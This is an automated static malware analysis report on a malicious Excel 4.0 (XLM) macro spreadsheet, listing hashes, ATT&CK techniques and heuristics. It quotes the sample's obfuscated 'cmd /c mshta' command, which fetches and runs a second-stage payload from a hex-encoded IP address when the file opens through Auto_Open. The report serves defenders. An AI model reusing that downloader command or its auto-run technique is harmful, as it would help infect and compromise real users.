Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 a7ec44855e9cc985…

MALICIOUS

Office (OLE) / .XLS

65.2 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: e00d5ff8930ab12390d1ac47ab65d5e9 SHA-1: 3dbc5735d2a930073dfe73219139280d6ef8e1f4 SHA-256: a7ec44855e9cc985a1af97b6c7c09dbb7bf80b01223775975a927ec646a567f4
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: User Execution of Malicious Code T1566.001 Phishing: Spearphishing Attachment T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that uses a lure to trick the user into enabling macros. The extracted XLM macro defines a string that is executed using 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html'. This indicates the macro's intent is to download and execute a second-stage payload from the specified URL. The macro sheet also contains an Auto_Open entry, which automatically executes the malicious code upon opening the document.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes